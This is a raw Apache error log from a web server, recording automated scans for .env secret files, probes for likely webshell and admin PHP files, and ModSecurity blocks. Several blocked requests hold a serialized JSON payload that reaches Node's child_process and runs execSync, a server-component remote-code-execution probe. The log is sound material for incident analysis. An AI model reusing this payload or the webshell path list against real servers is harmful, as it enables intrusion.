/usr/local/apache/htdocs/zxin.php [Tue Dec 16 05:52:19.194157 2025] [:error] [pid 20468:tid 20480] [client 40.69.66.178:56564] File does not exist: /usr/local/apache/htdocs/pass.php [Tue Dec 16 06:57:02.325247 2025] [:error] [pid 20237:tid 20313] [client 186.226.58.115:46388] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.ayqiq.com"] [uri "/.env.local"] [unique_id "aUFJDqNNkYe2KQ9OfHJ-kwAAAJQ"] [Tue Dec 16 06:57:02.325278 2025] [:error] [pid 20237:tid 20315] [client 186.226.58.115:46386] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "ayqiq.com"] [uri "/.env.local"] [unique_id "aUFJDqNNkYe2KQ9OfHJ-kgAAAJY"] [Tue Dec 16 06:57:02.327184 2025] [:error] [pid 20236:tid 20241] [client 186.226.58.115:46390] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.ayqiq.com"] [uri "/core/.env"] [unique_id "aUFJDlojjS_JUsca8NLxQwAAAEI"] [Tue Dec 16 06:57:02.330364 2025] [:error] [pid 20237:tid 20302] [client 186.226.58.115:46392] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "ayqiq.com"] [uri "/.env"] [unique_id "aUFJDqNNkYe2KQ9OfHJ-lAAAAIk"] [Tue Dec 16 06:57:02.332708 2025] [:error] [pid 20237:tid 20311] [client 186.226.58.115:46394] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.ayqiq.com"] [uri "/api/.env"] [unique_id "aUFJDqNNkYe2KQ9OfHJ-lQAAAJI"] [Tue Dec 16 06:57:02.334744 2025] [:error] [pid 20237:tid 20305] [client 186.226.58.115:46396] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "ayqiq.com"] [uri "/app/.env"] [unique_id "aUFJDqNNkYe2KQ9OfHJ-lgAAAIw"] [Tue Dec 16 06:57:02.336326 2025] [:error] [pid 20237:tid 20294] [client 186.226.58.115:46398] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "ayqiq.com"] [uri "/core/.env"] [unique_id "aUFJDqNNkYe2KQ9OfHJ-lwAAAIE"] [Tue Dec 16 06:57:02.336834 2025] [:error] [pid 20237:tid 20303] [client 186.226.58.115:46400] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.ayqiq.com"] [uri "/.env"] [unique_id "aUFJDqNNkYe2KQ9OfHJ-mAAAAIo"] [Tue Dec 16 06:57:02.337749 2025] [:error] [pid 20468:tid 20481] [client 186.226.58.115:46402] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "ayqiq.com"] [uri "/api/.env"] [unique_id "aUFJDknD0tXKTOMsoR1LrQAAAMk"] [Tue Dec 16 06:57:02.354381 2025] [:error] [pid 20468:tid 20476] [client 186.226.58.115:46404] [client 186.226.58.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-4000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.ayqiq.com"] [uri "/app/.env"] [unique_id "aUFJDknD0tXKTOMsoR1LrgAAAMQ"] [Tue Dec 16 07:46:03.589248 2025] [:error] [pid 20468:tid 20482] [client 13.71.30.28:52580] File does not exist: /usr/local/apache/htdocs/wp-good.php, referer: https://www.yahoo.com/ [Tue Dec 16 07:46:03.792894 2025] [:error] [pid 20468:tid 20481] [client 13.71.30.28:52582] File does not exist: /usr/local/apache/htdocs/ioxi-o.php, referer: https://www.google.com/ [Tue Dec 16 07:46:03.996271 2025] [:error] [pid 20468:tid 20494] [client 13.71.30.28:52584] File does not exist: /usr/local/apache/htdocs/file.php, referer: https://www.bing.com/ [Tue Dec 16 07:46:04.403532 2025] [:error] [pid 20468:tid 20476] [client 13.71.30.28:52588] File does not exist: /usr/local/apache/htdocs/wp-signin.php, referer: https://www.google.de/ [Tue Dec 16 07:46:04.607099 2025] [:error] [pid 20468:tid 20473] [client 13.71.30.28:52590] File does not exist: /usr/local/apache/htdocs/abcd.php, referer: https://www.google.fr/ [Tue Dec 16 07:46:05.024859 2025] [:error] [pid 20237:tid 20309] [client 13.71.30.28:52594] File does not exist: /usr/local/apache/htdocs/about.php, referer: https://www.google.de/ [Tue Dec 16 07:46:05.228474 2025] [:error] [pid 20468:tid 20485] [client 13.71.30.28:52596] File does not exist: /usr/local/apache/htdocs/bless.php, referer: https://www.yahoo.com/ [Tue Dec 16 07:46:05.635687 2025] [:error] [pid 20236:tid 20254] [client 13.71.30.28:52600] File does not exist: /usr/local/apache/htdocs/num.php, referer: https://www.yahoo.com/ [Tue Dec 16 07:46:05.839431 2025] [:error] [pid 20236:tid 20247] [client 13.71.30.28:52602] File does not exist: /usr/local/apache/htdocs/txets.php, referer: https://www.google.com/ [Tue Dec 16 07:46:06.043156 2025] [:error] [pid 20468:tid 20480] [client 13.71.30.28:52604] File does not exist: /usr/local/apache/htdocs/wp-blog.php, referer: https://duckduckgo.com/ [Tue Dec 16 07:46:07.061102 2025] [:error] [pid 20236:tid 20259] [client 13.71.30.28:52614] File does not exist: /usr/local/apache/htdocs/wp.php, referer: https://www.google.co.uk/ [Tue Dec 16 07:46:07.264593 2025] [:error] [pid 20236:tid 20261] [client 13.71.30.28:52616] File does not exist: /usr/local/apache/htdocs/admin.php, referer: https://www.bing.com/ [Tue Dec 16 07:46:07.467992 2025] [:error] [pid 20236:tid 20243] [client 13.71.30.28:52618] File does not exist: /usr/local/apache/htdocs/adminfuns.php, referer: https://www.google.com/ [Tue Dec 16 07:46:07.671593 2025] [:error] [pid 20236:tid 20260] [client 13.71.30.28:52622] File does not exist: /usr/local/apache/htdocs/chosen.php, referer: https://www.google.de/ [Tue Dec 16 07:46:07.875300 2025] [:error] [pid 20468:tid 20481] [client 13.71.30.28:52626] File does not exist: /usr/local/apache/htdocs/classwithtostring.php, referer: https://www.yahoo.com/ [Tue Dec 16 07:46:08.078685 2025] [:error] [pid 20237:tid 20295] [client 13.71.30.28:52628] File does not exist: /usr/local/apache/htdocs/edit.php, referer: https://www.yahoo.com/ [Tue Dec 16 07:46:08.282430 2025] [:error] [pid 20237:tid 20310] [client 13.71.30.28:52630] File does not exist: /usr/local/apache/htdocs/goods.php, referer: https://www.google.de/ [Tue Dec 16 07:46:08.485975 2025] [:error] [pid 20235:tid 20274] [client 13.71.30.28:52632] File does not exist: /usr/local/apache/htdocs/k.php, referer: https://www.google.co.uk/ [Tue Dec 16 07:46:10.319006 2025] [:error] [pid 20236:tid 20251] [client 13.71.30.28:52650] File does not exist: /usr/local/apache/htdocs/wp-user.php, referer: https://duckduckgo.com/ [Tue Dec 16 07:46:10.522531 2025] [:error] [pid 20468:tid 20493] [client 13.71.30.28:52654] File does not exist: /usr/local/apache/htdocs/404.php, referer: https://www.bing.com/ [Tue Dec 16 07:46:10.726187 2025] [:error] [pid 20468:tid 20476] [client 13.71.30.28:52656] File does not exist: /usr/local/apache/htdocs/akcc.php, referer: https://www.google.com/ [Tue Dec 16 07:46:10.929717 2025] [:error] [pid 20237:tid 20317] [client 13.71.30.28:52658] File does not exist: /usr/local/apache/htdocs/gg.php, referer: https://www.bing.com/ [Tue Dec 16 07:46:11.132995 2025] [:error] [pid 20237:tid 20308] [client 13.71.30.28:52660] File does not exist: /usr/local/apache/htdocs/mah.php, referer: https://www.yahoo.com/ [Tue Dec 16 07:46:11.336414 2025] [:error] [pid 20237:tid 20300] [client 13.71.30.28:52662] File does not exist: /usr/local/apache/htdocs/new.php, referer: https://www.google.fr/ [Tue Dec 16 07:46:11.539782 2025] [:error] [pid 20236:tid 20263] [client 13.71.30.28:52668] File does not exist: /usr/local/apache/htdocs/themes.php, referer: https://www.bing.com/ [Tue Dec 16 07:54:36.844162 2025] [:error] [pid 20237:tid 20310] [client 170.64.226.138:53616] File does not exist: /usr/local/apache/htdocs/alive.php [Tue Dec 16 08:47:10.010044 2025] [:error] [pid 20237:tid 20303] [client 45.156.129.107:34576] File does not exist: /usr/local/apache/htdocs/status.php [Tue Dec 16 09:35:22.775515 2025] [:error] [pid 20468:tid 20479] [client 77.73.131.25:40716] [client 77.73.131.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' res ';307;'});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:..."] [sever [hostname "198.199.72.26"] [uri "/"] [unique_id "aUFuKknD0tXKTOMsoR1WyQAAAMc"] [Tue Dec 16 09:39:51.895993 2025] [:error] [pid 20468:tid 20481] [client 190.237.163.164:41588] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 09:39:52.585789 2025] [:error] [pid 20235:tid 20287] [client 190.237.163.164:41592] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 09:39:56.974871 2025] [:error] [pid 20237:tid 20309] [client 204.8.96.186:41616] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 09:40:02.314227 2025] [:error] [pid 20237:tid 20310] [client 185.220.101.102:41630] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 09:48:20.722424 2025] [:error] [pid 20237:tid 20305] [client 157.245.90.142:42772] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 09:52:32.570630 2025] [:error] [pid 20468:tid 20492] [client 77.73.131.25:43348] [client 77.73.131.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' res ';307;'});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:..."] [sever [hostname "198.199.72.26"] [uri "/"] [unique_id "aUFyMEnD0tXKTOMsoR1YNgAAANQ"] [Tue Dec 16 09:56:16.319795 2025] [:error] [pid 20237:tid 20296] [client 77.73.131.25:43834] [client 77.73.131.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' res ';307;'});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:..."] [sever [hostname "198.199.72.26"] [uri "/"] [unique_id "aUFzEKNNkYe2KQ9OfHKGwwAAAIM"] [Tue Dec 16 10:10:14.892232 2025] [:error] [pid 20236:tid 20242] [client 77.73.131.25:45564] [client 77.73.131.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' res ';307;'});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:..."] [sever [hostname "198.199.72.26"] [uri "/"] [unique_id "aUF2VlojjS_JUsca8NL2CwAAAEM"] [Tue Dec 16 10:20:24.532386 2025] [:error] [pid 20235:tid 20276] [client 171.250.164.185:46804] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 10:20:25.224537 2025] [:error] [pid 20237:tid 20316] [client 171.250.164.185:46808] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 10:20:33.015078 2025] [:error] [pid 20468:tid 20487] [client 178.218.144.64:46846] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 10:20:35.577456 2025] [:error] [pid 20468:tid 20473] [client 185.220.101.14:46856] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 10:55:33.549307 2025] [:error] [pid 20236:tid 20239] [client 185.181.61.201:52488] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 10:55:45.170418 2025] [:error] [pid 20236:tid 20254] [client 185.220.101.41:52524] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 11:04:08.199847 2025] [:error] [pid 20468:tid 20479] [client 34.141.179.110:53912] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Tue Dec 16 11:04:08.827113 2025] [:error] [pid 20237:tid 20303] [client 34.141.179.110:53932] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Tue Dec 16 11:47:42.516922 2025] [:error] [pid 20237:tid 20294] [client 102.91.84.130:38552] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 11:47:44.135570 2025] [:error] [pid 20468:tid 20481] [client 102.91.84.130:38560] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 11:47:49.434364 2025] [:error] [pid 20468:tid 20478] [client 185.220.101.166:38592] File does not exist: /usr/local/apache/htdocs/wp-login.php [Tue Dec 16 11:47:51.215799 2025] [:error] [pid 20237:tid 20301] [client 185.220.101.4:38598] File does not exist: /usr/local/apache/htdocs/admin.php [Tue Dec 16 12:26:16.834317 2025] [:error] [pid 20236:tid 20248] [client 195.24.236.50:45930] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:16.926237 2025] [:error] [pid 20468:tid 20479] [client 195.24.236.50:45940] File does not exist: /usr/local/apache/htdocs/lntzuvaf.php, referer: www.google.com [Tue Dec 16 12:26:17.262862 2025] [:error] [pid 20468:tid 20484] [client 195.24.236.50:45958] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.367545 2025] [:error] [pid 20468:tid 20476] [client 195.24.236.50:45970] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.370496 2025] [:error] [pid 20468:tid 20478] [client 195.24.236.50:45988] File does not exist: /usr/local/apache/htdocs/rfryitgu.php, referer: www.google.com [Tue Dec 16 12:26:17.403759 2025] [:error] [pid 20468:tid 20475] [client 195.24.236.50:45968] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.434317 2025] [:error] [pid 20236:tid 20258] [client 195.24.236.50:45994] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.479832 2025] [:error] [pid 20235:tid 20279] [client 195.24.236.50:46010] File does not exist: /usr/local/apache/htdocs/xydbqkqp.php, referer: www.google.com [Tue Dec 16 12:26:17.494034 2025] [:error] [pid 20235:tid 20287] [client 195.24.236.50:46018] File does not exist: /usr/local/apache/htdocs/ejimrxca.php, referer: www.google.com [Tue Dec 16 12:26:17.530520 2025] [:error] [pid 20468:tid 20495] [client 195.24.236.50:46008] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.541919 2025] [:error] [pid 20237:tid 20293] [client 195.24.236.50:46030] File does not exist: /usr/local/apache/htdocs/ttibqmqt.php, referer: www.google.com [Tue Dec 16 12:26:17.633993 2025] [:error] [pid 20237:tid 20307] [client 195.24.236.50:46028] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.637446 2025] [:error] [pid 20236:tid 20239] [client 195.24.236.50:46068] File does not exist: /usr/local/apache/htdocs/ozbwtoes.php, referer: www.google.com [Tue Dec 16 12:26:17.644503 2025] [:error] [pid 20236:tid 20260] [client 195.24.236.50:46064] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.648251 2025] [:error] [pid 20236:tid 20257] [client 195.24.236.50:46036] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.722357 2025] [:error] [pid 20468:tid 20476] [client 195.24.236.50:46088] File does not exist: /usr/local/apache/htdocs/edhmwivb.php, referer: www.google.com [Tue Dec 16 12:26:17.746532 2025] [:error] [pid 20236:tid 20247] [client 195.24.236.50:46094] File does not exist: /usr/local/apache/htdocs/wkphduxe.php, referer: www.google.com [Tue Dec 16 12:26:17.750536 2025] [:error] [pid 20468:tid 20492] [client 195.24.236.50:46098] File does not exist: /usr/local/apache/htdocs/gyamjaiu.php, referer: www.google.com [Tue Dec 16 12:26:17.803581 2025] [:error] [pid 20468:tid 20492] [client 195.24.236.50:46100] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.853428 2025] [:error] [pid 20468:tid 20487] [client 195.24.236.50:46112] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.904342 2025] [:error] [pid 20468:tid 20485] [client 195.24.236.50:46128] File does not exist: /usr/local/apache/htdocs/ikxmftso.php, referer: www.google.com [Tue Dec 16 12:26:17.912901 2025] [:error] [pid 20236:tid 20246] [client 195.24.236.50:46122] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:17.941947 2025] [:error] [pid 20468:tid 20483] [client 195.24.236.50:46130] File does not exist: /usr/local/apache/htdocs/ehfnyufp.php, referer: www.google.com [Tue Dec 16 12:26:17.999501 2025] [:error] [pid 20468:tid 20492] [client 195.24.236.50:46138] File does not exist: /usr/local/apache/htdocs/wynibtue.php, referer: www.google.com [Tue Dec 16 12:26:18.036047 2025] [:error] [pid 20237:tid 20296] [client 195.24.236.50:46142] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:18.111759 2025] [:error] [pid 20235:tid 20279] [client 195.24.236.50:46146] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:18.136524 2025] [:error] [pid 20237:tid 20311] [client 195.24.236.50:46152] File does not exist: /usr/local/apache/htdocs/vonchaqm.php, referer: www.google.com [Tue Dec 16 12:26:18.148133 2025] [:error] [pid 20237:tid 20308] [client 195.24.236.50:46150] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:18.160558 2025] [:error] [pid 20237:tid 20295] [client 195.24.236.50:46148] File does not exist: /usr/local/apache/htdocs/wp-plain.php, referer: www.google.com [Tue Dec 16 12:26:18.196373 2025] [:error] [pid 20235:tid 20286] [client 195.24.236.50:46154] File does not exist: /usr/local/apache/htdocs/hwpquugp.php, referer: www.google.com [Tue Dec 16 12:26:18.241853 2025] [:error] [pid 20237:tid 20310] [client 195.24.236.50:46156] File does not exist: /usr/local/apache/htdocs/lzfvfoqs.php, referer: www.google.com [Tue Dec 16 12:26:18.244193 2025] [:error] [pid 20235:tid 20284] [client 195.24.236.50:46158] File does not exist: /usr/local/apache/htdocs/yxcmuymt.php, referer: www.google.com [Tue Dec 16 12:52:01.137875 2025] [:error] [pid 11215:tid 11229] [client 4.189.144.35:51716] File does not exist: /usr/local/apache/htdocs/file2.php [Tue Dec 16 12:52:01.609926 2025] [:error] [pid 11215:tid 11230] [client 4.189.144.35:51718] File does not exist: /usr/local/apache/htdocs/re.php [Tue Dec 16 12:52:02.158595 2025] [:error] [pid 11215:tid 11223] [client 4.189.144.35:51720] File does not exist: /usr/local/apache/htdocs/wp.php [Tue Dec 16 12:52:02.329817 2025] [:error] [pid 11215:tid 11239] [client 4.189.144.35:51722] File does not exist: /usr/local/apache/htdocs/v3.php [Tue Dec 16 12:52:02.498753 2025] [:error] [pid 20235:tid 20266] [client 4.189.144.35:51724] File does not exist: /usr/local/apache/htdocs/lib.php [Tue Dec 16 12:52:02.996324 2025] [:error] [pid 20236:tid 20242] [client 4.189.144.35:51726] File does not exist: /usr/local/apache/htdocs/class9.php [Tue Dec 16 12:52:03.165587 2025] [:error] [pid 11215:tid 11218] [client 4.189.144.35:51728] File does not exist: /usr/local/apache/htdocs/wsd.php [Tue Dec 16 12:52:03.334531 2025] [:error] [pid 11215:tid 11232] [client 4.189.144.35:51730] File does not exist: /usr/local/apache/htdocs/ioxi-o.php [Tue Dec 16 12:52:03.504482 2025] [:error] [pid 11215:tid 11236] [client 4.189.144.35:51732] File does not exist: /usr/local/apache/htdocs/m.php [Tue Dec 16 12:52:03.879207 2025] [:error] [pid 11215:tid 11233] [client 4.189.144.35:51738] File does not exist: /usr/local/apache/htdocs/habhan.php [Tue Dec 16 12:52:04.064109 2025] [:error] [pid 11215:tid 11238] [client 4.189.144.35:51740] File does not exist: /usr/local/apache/htdocs/mans.php [Tue Dec 16 12:52:04.232593 2025] [:error] [pid 20236:tid 20239] [client 4.189.144.35:51742] File does not exist: /usr/local/apache/htdocs/mah.php [Tue Dec 16 12:52:04.401243 2025] [:error] [pid 20236:tid 20264] [client 4.189.144.35:51744] File does not exist: /usr/local/apache/htdocs/yas.php [Tue Dec 16 12:52:04.570904 2025] [:error] [pid 20235:tid 20280] [client 4.189.144.35:51746] File does not exist: /usr/local/apache/htdocs/gm.php [Tue Dec 16 12:52:04.752295 2025] [:error] [pid 20468:tid 20478] [client 4.189.144.35:51748] File does not exist: /usr/local/apache/htdocs/autoload_classmap.php [Tue Dec 16 12:52:04.934110 2025] [:error] [pid 20236:tid 20253] [client 4.189.144.35:51750] File does not exist: /usr/local/apache/htdocs/abc.php [Tue Dec 16 12:52:05.102727 2025] [:error] [pid 20235:tid 20269] [client 4.189.144.35:51752] File does not exist: /usr/local/apache/htdocs/an.php [Tue Dec 16 12:52:05.313232 2025] [:error] [pid 11215:tid 11226] [client 4.189.144.35:51754] File does not exist: /usr/local/apache/htdocs/blox.php [Tue Dec 16 12:52:05.657944 2025] [:error] [pid 20237:tid 20295] [client 4.189.144.35:51758] File does not exist: /usr/local/apache/htdocs/siln.php [Tue Dec 16 12:52:05.855040 2025] 